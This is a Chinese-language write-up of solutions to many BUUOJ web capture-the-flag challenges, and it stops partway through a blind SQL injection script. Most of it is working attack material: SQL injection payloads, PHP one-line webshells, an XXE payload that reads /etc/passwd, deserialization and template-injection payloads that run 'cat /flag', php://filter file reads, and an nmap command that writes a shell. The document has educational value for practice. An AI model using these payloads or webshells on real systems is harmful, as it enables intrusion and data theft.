BUUOJ-Web WriteUp

[极客大挑战 2019]EasySQL

简单的sql注入

这里是payload

1
1' or 1=1 #

可以登陆进去之后直接看到flag

flag{2c793226-369d-4941-af62-10463af21b6c}

[强网杯 2019]随便注

尝试了各种姿势后发现可以用堆叠注入

爆库名

1’;show databases;#

爆表名

1’;show tables;#

爆列名

1
2
1';show columns from `1919810931114514`;# #爆1919810931114514表
1';show columns from `words`;# #爆words表

发现id在words表中,那么咱只需要改个表名就行了

1
2
3
1';rename table `words` to `words1`; # 把表words更名为words1
rename tables `1919810931114514` to `words`; # 把表1919810931114514更名为words
alter table `words` change `flag` `id` varchar(100); # 把words中的列名flag更名为id

然后只要登入就可以看到flag了

1’ or 1=1 #

[极客大挑战 2019]Havefun

打开看见一只可爱的小猫

直接进入ctrl + U看源代码,在下面发现藏东西了

按着GET一个cat变量,出现flag

flag{04dfe2f2-bbf0-43f3-9bf1-faab0790de78}

[极客大挑战 2019]Secret File

ctrl+U发现一个Archive_room.php

用burpsuite抓一下包,发现一个secr3t.php

发现是一段简单的代码审计和文件包含

咱可以用伪协议

1
?file=php://filter/convert.base64-encode/resource=flag.php

得到一串base64编码,解码即可得到flag

flag{d67ab513-7a2d-4e45-a27a-99486f6f99ee}

[极客大挑战 2019]LoveSQL

进去后发现是简单的sql注入

1
2
3
4
-1' union select 1,2,3 # # 查看回显
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 # #爆表名
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'),3 # # 爆列名
-1' union select 1,(select group_concat(concat_ws(0x7e, username, password)) from l0ve1ysq1),3 # #爆数据

最后得到flag

flag{94e175f4-807f-404e-a433-65501ae8595b}

[极客大挑战 2019]Knife

这题提示已经POST了一个一句话木马

直接用蚁剑连接

得到flag

flag{46dce079-289a-4494-98da-139ce0e08a9a}

[极客大挑战 2019]Http

ctrl+U发现一个secret.php

进入后依照提示逐一添加header

1
2
3
Referer: https://www.Sycsecret.com
User-Agent: Syclover
X-Forwarded-For: localhost

即可得到flag

flag{da768d87-8706-4596-bf42-71c1b8fa6453}

[极客大挑战 2019]PHP

有提示可以知道有网站备份文件

运用脚本进行扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url1 = 'http://bb232cbc-9635-4f1f-bbdb-d01f82b431ee.node3.buuoj.cn/' # url为被扫描地址,后不加‘/’

# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']

for i in list1:
for j in list2:
back = str(i) + '.' + str(j)
url = str(url1) + '/' + back
print(back + ' ', end='')
print(requests.get(url).status_code)

得到一个www.zip

发现是一道php反序列化绕过,这里简化了一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
die();
}
}
}

根据代码构造payload

1
select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

然后用python提交get,成功得到flag(虽然不知道为啥Hackbar提交没反应

flag{361e4af6-f242-4f37-888e-17491b76ecd2}

[极客大挑战 2019]Upload

进入发现需要上传文件,构造一个一句话木马扔上去

用burpsuites抓包改一下文件类型

然后提示不能包含<?字符,去度娘搜了一下之后发现可以在文件头部加上**GIF89a?**绕过这个点

然后又提示不能用php类型文件

一番查找了之后发现了一个.phtml类型

重新构造了一下木马

1
2
GIF89a?
<script language="php">eval($_POST['rossweisse'])</script>

用菜刀链接即可得到flag

flag{43921141-5d8f-4c88-b07c-55b0801220ca}

[极客大挑战 2019]BabySQL

这题也是一道sql注入题

按照原来的套路试了几次之后发现把关键字都ban了

那么我们可双写关键字来进行绕过

1
2
3
-1' ununionion seselectlect 1,group_concat(table_name),3  frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23 #爆表名
-1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_schema=database() aandnd table_name='b4bsql' %23 #爆列名
-1' ununionion seselectlect 1,group_concat(concat_ws(0x7e,username,passwoorrd)),3 frfromom b4bsql %23 #爆数据

拿到flag

flag{cbf6aeea-a401-4c47-b000-c373eaef6289}

[极客大挑战 2019]BuyFlag

这题进来之后发现只有一个payflag页面可以进

进入之后ctrl+U在下面发现了一串代码

1
2
3
4
5
6
7
8
9
10
11
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

可以得知咱要以POST方式发送一个不是数字并且要等于404的password变量和money变量

发现burpsuite重发之后会出现一句Only Cuit’s students can buy the FLAG

这里咱重新查看下抓的包,发现了一个user参数,令user=1

发送出去之后前两个都正确了,但是还是出现了一句Nember lenth is too long

那只能是money参数出现了问题,将money=100000000改为money=1e9即可得到flag

flag{68ff87f9-0c7f-4c49-b057-2af8e9ea3ed3}

[极客大挑战 2019]HardSQL

这题sql注入惯例试了下1’ or 1=1 %23

结果很友善的回了一句臭弟弟

之后试了一下其他的发现把空格等一些字符还有union给ban了,于是就想到了报错注入

1’or(updatexml(1,concat_ws((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e,0x7e),1))%23 #爆表名
1’or(updatexml(1,concat_ws((select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e,0x7e),1))%23 #爆列名
1’or(updatexml(1,concat_ws((select(concat_ws(0x7e,username,password))from(H4rDsq1)),0x7e,0x7e),1))%23 #爆数据(结果发现只有一半,后面查到了一个right()

1’or(updatexml(1,concat_ws((select(right(group_concat(password),20))from(H4rDsq1)),0x7e,0x7e),1))%23 #爆后边的flag(这里要注意flag的连接,不是对半开的

这里是flag

flag{16f2507c-b985-4744-9b3b-8f02007f0c29}

安洵杯easy_web

md5碰撞绕过

学习到了可以通过md5碰撞绕过md5

但是找到的那个.exe程序运行了没反应,所以先把参数记下来后面用到可以直接拿来先用着

网鼎杯phpweb

file_get_contents()得到源码

抓包后发现可以输入点,可以看出是放个函数和函数的参数

于是我们可以利用file_get_contents()函数来得到index.php的源代码

func=file_get_contents()&p=index.php

拿到index.php源代码之后可以发现func那里拦截了许多函数,但是有一个有一个Test类可以进行利用

反序列化RCE

构造反序列化代码进行RCE

1
2
3
4
5
class Test
{
var $p = "ls /";
var $func = "system";
}

tips:flag并不在根目录下,所以还需要find / -name flag来查找flag

最终得到flag

flag{d1569b58-26c5-4528-95fa-150f11cab19e}

[De1CTF 2019]SSRF Me

flask框架分析

打开题目拿到一串很长很长的代码

优化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox):
# SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if getSign(self.action, self.param) == self.sign:
return True
else:
return False
# generate Sign For Action Scan.


@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt", "r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)

先看路由,有一个/geneSign和一个/De1ta

看看/geneSign

1
2
3
4
5
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

get方法传入一个param,然后到getSign函数

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

md5编码一个随机数值+param+action

再看看/De1ta

1
2
3
4
5
6
7
8
9
10
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

通过GET方法传入param,通过cookie传入action和sign

再往下会遇到一个if,然后进入waf函数

看看waf函数

1
2
3
4
5
6
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

如果参数头是gopherfile就会被防住

sign payload构造

最后会构造一个Task类

Task类里首先会遇到一个checkSign方法

会判断getSign(self.action, self.param) == self.sign

这里的意思就是我们要构造一个getSign使得md5(param+action)==md5(param+'scan'(不可控)),这里我们可以利用/geneSign路由进行自主构造sign参数

param=flag.txtread,因为Task类里的if判断是包含,所以我们可以在后面加一个read绕过判断

最后可以得到sign的payload

param=flag.txtread

action payload构造

最后就是

构造一个action的payload进行flag.txt的读取,action又需要同时进入两个if

所以我们可以这样整

param=flag.txt

action=readscan

sign=94f5d01e5071cf13ee12db1b5b76c89f(sign就拿之前在/geneSign路由上得到的

最后得到flag

flag{4d8642e8-b33b-439d-8219-651342e482b5}

[NCTF2019]Fake XML cookbook

XML实体注入

抓包后发现username和password都是xml格式的,所以我们可以选择XML注入

读取/etc/passwd文件

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>1</password></user>

读取flag

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>1</password></user>

最终得到flag

flag{b831032d-7b48-4d76-bb55-01a9a629def6}

什么是XML

顺便了解了一下XML和什么是XXE注入

XXE看字

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XML可以看看这篇文章浅谈XML实体注入漏洞

[ASIS 2019]Unicorn shop

进入后可以输入队伍ID和价钱,1、2、3都试了一遍然后都出错了,猜测Team4购买成功后就可以拿到flag了

试试team4,然后提示Only one char(?) allowed!,只允许输入一个字符

UTF-8特殊字符代替

看了看源码发现提示

1
<meta charset="utf-8"><!--Ah,really important,seriously. -->

了解了一下UTF-8编码,发现UTF-8编码其实有特别多特别多的字符

这里可以去这个网站,这个网站拥有许多UTF-8字符

查找thousand,最后发现了一个字符ↁ,这个字符的Numeric Value为5000,正好符合我们的要求

最后即可得到flag

flag{76457339-63ab-4556-b52e-5a2f6d054406}

[watevrCTF-2019]Supercalc

SSTI获取screat_key

题目是一个简易计算器,测试1/0发现出现错误,猜测是模板注入,输入1/0#{{config}},发现了screat_key

cookie伪造

flask-session-cookie-manager解出cookie的结构,使用上面获取的key进行cookie伪造

1
"{'history':[{'code':'__import__[\"os\"].popen(\"cat flag.txt\").read()'}]}"

最后得到flag

flag{3990ba1e-8331-4dd6-8bae-77ac90a09c81}

总结

这题对现在的我来说是一道比较新鲜的题,知道了还有cookie伪造的这个姿势,重新了解了一下cookie的含义

[BSidesCF 2020]Hurdles

进入题目看见一句You'll be rewarded with a flag if you can make it over some /hurdles.

curl的命令使用

通过curl查看

1
curl -i 'http://node3.buuoj.cn:27112/hurdles'

得到I'm sorry, I was expecting the PUT Method.

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles'

得到I'm sorry, Your path would be more exciting if it ended in !

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!'

得到I'm sorry, Your URL did not ask to gettheflag in its query string.

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag'

得到I'm sorry, I was looking for a parameter named &=&=&

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=1'

得到

I'm sorry, I expected '&=&=&' to equal '%00 #这有个换行符的 '

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A'

得到I'm sorry, Basically, I was expecting the username player.

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:player' # 暂时不知道密码,随便输一个

得到I'm sorry, Basically, I was expecting the password of the hex representation of the md5 of the string 'open sesame'

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b'

得到I'm sorry, I was expecting you to be using a 1337 Browser.

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower'

得到I'm sorry, I was expecting your browser version (v.XXXX) to be over 9000!

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000'

得到I'm sorry, I was eXpecting this to be Forwarded-For someone!

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 127.0.0.1'

得到I'm sorry, I was eXpecting this to be Forwarded For someone through another proxy!

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 1.1.1.1,127.0.0.1'

得到I'm sorry, I was expecting the forwarding client to be 13.37.13.37

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1'

得到I'm sorry, I was expecting a Fortune Cookie

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1' -b 'Fortune=Fuxku'

得到I'm sorry, I was expecting the cookie to contain the number of the HTTP Cookie (State Management Mechanism) RFC from 2011.

1
2
# 这里需要cookie包含2021年的RFC编号,可以到这查https://datatracker.ietf.org/doc/draft-ietf-httpstate-cookie/23/
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1' -b 'Fortune=6265'

得到I'm sorry, I expect you to accept only plain text media (MIME) type.

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'accept: text/plain'

得到I'm sorry, Я ожидал, что вы говорите по-русски.

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'accept: text/plain' -H 'Accept-Language: ru'

得到I'm sorry, I was expecting to share resources with the origin https://ctf.bsidessf.net

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'accept: text/plain' -H 'Accept-Language: ru' -H 'origin: https://ctf.bsidessf.net'

得到I'm sorry, I was expecting you would be refered by https://ctf.bsidessf.net/challenges?

1
curl -i -X PUT 'http://node3.buuoj.cn:27112/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0A' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Brower v.9000' -H 'X-Forwarded-For: 13.37.13.37,127.0.0.1' -b 'Fortune=6265' -H 'accept: text/plain' -H 'Accept-Language: ru' -H 'origin: https://ctf.bsidessf.net' -e 'https://ctf.bsidessf.net/challenges'

最终得到flag

flag{a3dda583-ca36-4b88-935f-cb4bbbeef896}

SSTI(Twig

Twig的模板注入,判断如下:

49 回显7777777 => Jinja2 ,回显49 => Twig

payload

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

拿到flag

flag{c485b15c-f3df-4dc8-abb3-ed322ea30c66}

[CISCN 2019 初赛]Love Math

php函数拼接

构造payload

1
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag

base_convert(37907361743,10,36)构造函数名hex2bin,hex2bin可以将十六进制转换为ASCII字符

先使用dechex函数将1598506324转换为十六进制,然后再使用hex2bin将十六进制转换成ASCII字符即可得到_GET

php特性利用

php中可以使用{}代替[],然后再拼接一下

1
2
$$pi{pi} => $_GET{pi}
($$pi{abs}) => ($_GET{abs})

最后传入pi=system,abs=cat /flag即可得到flag

flag{693ee03e-518a-46bb-9102-79ac9f502b31}

[BSidesCF 2020]Had a bad day

php伪协议嵌套

利用php伪协议可以读取到index的源码

1
?category=php://filter/convert.base64-encode/resource=index

得到源码

1
2
3
4
5
6
7
8
9
$file = $_GET['category'];

if (isset($file)) {
if (strpos($file, "woofers") !== false || strpos($file, "meowers") !== false || strpos($file, "index")) {
include($file . '.php');
} else {
echo "Sorry, we currently only support woofers and meowers.";
}
}

发现需要包括woofersmeowersindex才会运行文件包含

查了查之后知道了php的php://filter伪协议可以嵌套一层协议

1
?category=php://filter/convert.base64-encode/index/resource=flag

即可得到flag

flag{ff24c3cf-9d00-4527-acab-ee177724d0a1}

[安洵杯 2019]easy_serialize_php

phpinfo信息获取

看到题目中有个eval('phpinfo();');

打开后在phpinfo里发现了一个d0g3_f1ag.php

变量覆盖漏洞

题目所给的源代码中有extract函数,可形成变量覆盖漏洞,具体看这

于是可以重新传入SESSION参数进行覆盖

反序列化对象逃逸

由题目可知,想要得到flag,必须得构造一个img=d0g3_f1ag.php,但是如果直接传入d0g3_f1ag.php则会被正则替换掉

于是可以使用反序列化的对象逃逸性质

正常序列化

1
2
3
4
5
<?php
$_SESSION["user"] = 'guest';
$_SESSION["function"] = 'ababab';
$_SESSION["img"] = base64_encode('d0g3_f1ag.php');
echo serialize($_SESSION);

可以得到

a:3:{s:4:”user”;s:5:”guest”;s:8:”function”;s:6:”ababab”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

于是我们可以这样POST

1
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:6:"ababab";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

会得到这个

1
2
3
<?php
$flag = 'flag in /d0g3_fllllllag';
?>

解释一下.jpg

按照上面POST的序列化,可以得到

1
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:70:"a";s:8:"function";s:6:"ababab";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

而flag被过滤了,于是会得到

1
a:3:{s:4:"user";s:24:"";s:8:"function";s:70:"a";s:8:"function";s:6:"ababab";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

由于user的参数为24,而原来的6个flag变为””了,所以会往后继续读取参数

所以[]的参数就被读取为user的参数了,而原来的function则被替换掉了,再加上最后的}闭合,后面的img也被替换掉了,就造成了反序列化的对象逃逸

1
a:3:{s:4:"user";s:24:"[";s:8:"function";s:70:"a]";s:8:"function";s:6:"ababab";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

最后则通过提示flag在/d0g3_fllllllag中,重新放个base64进去得到flag

flag{f7eb2141-7201-43fe-b97d-cc5defacd03d}

[SUCTF 2019]Pythonginx

urlsplit函数处理问题

题目首先调用了urlsplit函数,讲url分割后判断是否为suctf.cc

然后后面有调用了unurlsplit函数将url合起来,再次判断是否为suctf.cc

测试函数

1
2
3
4
5
6
7
8
9
10
from urllib import parse
from urllib.parse import urlsplit, urlunsplit

url = "file:////suctf.cc/abababab"
parts = parse.urlsplit(url)
print(parts)

url2 = urlunsplit(parts)
parts2 = parse.urlsplit(url2)
print(parts2)

则可以得到

1
2
SplitResult(scheme='file', netloc='', path='//suctf.cc/abababab', query='', fragment='')
SplitResult(scheme='file', netloc='suctf.cc', path='/abababab', query='', fragment='')

这就可以成功绕过前面分割后的判断语句

nginx的配置

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

这就可以构造payload

1
file:////suctf.cc/usr/local/nginx/conf/nginx.conf

得到一个flag路径/usr/fffffflag

获取flag

1
file:////suctf.cc/usr/fffffflag

flag{23da88ac-576f-4e40-819a-06e1c7da43fb}

[WUSTCTF2020]朴实无华

进入robots.txt发现一个/fAke_f1agggg.php,进去后在http协议头上发现了一个fl4g.php

进入后是一串代码审计

level1

首先第一串是intval函数绕过,优化一下代码,我们是要使之echo 1才能绕过

1
2
3
4
5
6
7
8
9
10
11
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo 1;
}else{
echo 2;
}
}else{
echo 3;
}

构造payload

?num=1e5

level2

然后是md5绕过

1
2
3
4
5
6
7
8
9
10
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo 1;
else
echo 2;
}else{
echo 3;
}

这里我们得遍历出来一个md5前是0e开头并且md5后还是0e开头的字符串

构造payload

?num=1e5&md5=0e215962017

level3

最后就是命令注入的简单过滤了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo 3;
// system($get_flag);
}else{
echo 2;
}
}else{
echo 1;
}

过滤了空格还过滤了cat,但是也简单

构造payload

?num=0x23333&md5=0e215962017&get_flag=base64%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

最后得到flag

flag{9093578f-7506-4128-b9d0-e2c08aab5bcd}

[网鼎杯 2020 朱雀组]Nmap

Nmap的命令使用

1
2
3
4
5
6
输出
-oN       标准输出
-oX       XMl输出
-oS      script jlddi3
-oG      grepable
-oA      同时输出三种主要格式

构造payload

127.0.0.1 ‘ -oN b.phtml <?=eval($_POST[a]);?>’

可以传一个马上去,然后post命令注入

最后得到flag

flag{5ba50035-1b24-49c0-86a1-57d28288c511}

[NPUCTF2020]ReadlezPHP

明示阴间题?

查看源代码发现一个/time.php?source

反序列化+php函数拼接

题目给出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s"; //参数
$this->b = "date"; //data函数名
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a); //拼接构造 => data(Y-m-d h:i:s)
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]); //反序列化

查了好久怎么绕__construct,结果最后发现其实根本不需要绕_(¦3」∠)_

构造payload试试

1
2
3
4
5
6
7
8
9
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "ls /";
$this->b = "system";
}
}

发现没啥用,应该是system被ban了,试试assert

1
2
3
4
5
6
7
8
9
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
}

成功进到了phpinfo(),然后直接查找flag就可以了

最后得到flag

flag{63ff34b3-4698-48c7-8d82-19be438a88f3}

[BJDCTF2020]EasySearch

试了试啥东西都没找到,最后试试扫目录,最后拿到个index.php.swp

代码审计

1
2
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6))

这里我们知道需要得到一个password是md5编码后的前六位与admin参数值相等才能进去if

用脚本跑

1
2
3
4
5
6
7
8
9
import hashlib
i = 0
while 1:
md5 = hashlib.md5(f"{i}".encode('utf-8')).hexdigest()
md6 = md5[0:6]
if md6 == '6d0bc1':
print(i)
break
i += 1

得到一串密码2020666,成功登入

但是啥都没有,查看http协议头

发现一个Url_is_here: public/5c1e27af103c53033f640c42098db9a537470926.shtml

这里通过之前的代码我们可以知道这一串是随机生成的hash作为文件名,然后把密码啊存进去

Apache SSI远程命令执行

原理在这,重新输入一下username进行命令执行

username=&password=2020666

得到flag

flag{555f614a-6cb7-4175-be3c-8cf0205ace8d}

[BJDCTF2020]ZJCTF,不过如此

伪协议传输流截取

代码审计是要绕过一个if

if(isset($text)&&(file_get_contents($text,’r’)===”I have a dream”))

用伪协议来截取一下传输流

text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=

然后需要拿到next.php,继续用伪协议

text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php

然后base64解码,得到一串源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

这里下面那两个函数都没啥用,我们直接看上面的complex函数

preg_replace命令执行

原理在这,构造paoload

?\S*={${phpinfo()}}

成功执行了phpinfo()函数,构造一个马进去

?\S*=${eval($_POST[cmd])}

然后命令注入

cmd=system(‘cat /flag’);

得到flag

flag{73039dca-6653-471d-ac00-e08082493c44}

[极客大挑战 2019]FinalSQL

SQL盲注,不多说,直接上脚本

爆表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://913ec15c-c8c0-471b-a52a-b9284ba0af77.node3.buuoj.cn/search.php"
res = ''
for x in range(1, 200):
left = 32
right = 128
while left < right:
mid = int((left + right) / 2)
sql = f"?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{x},1))<{mid})^1"
result = requests.get(url + sql)
if "ERROR" in result.text:
left = mid + 1
else:
right = mid
# print(f"left now is: {left}")
# print(f"right now is: {right}")
res += chr(int((left + right - 1) / 2))
print(f"result now is: {res}")
if "}" in res:
break

爆列名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://913ec15c-c8c0-471b-a52a-b9284ba0af77.node3.buuoj.cn/search.php"
res = ''
for x in range(1, 200):
left = 32
right = 128
while left < right:
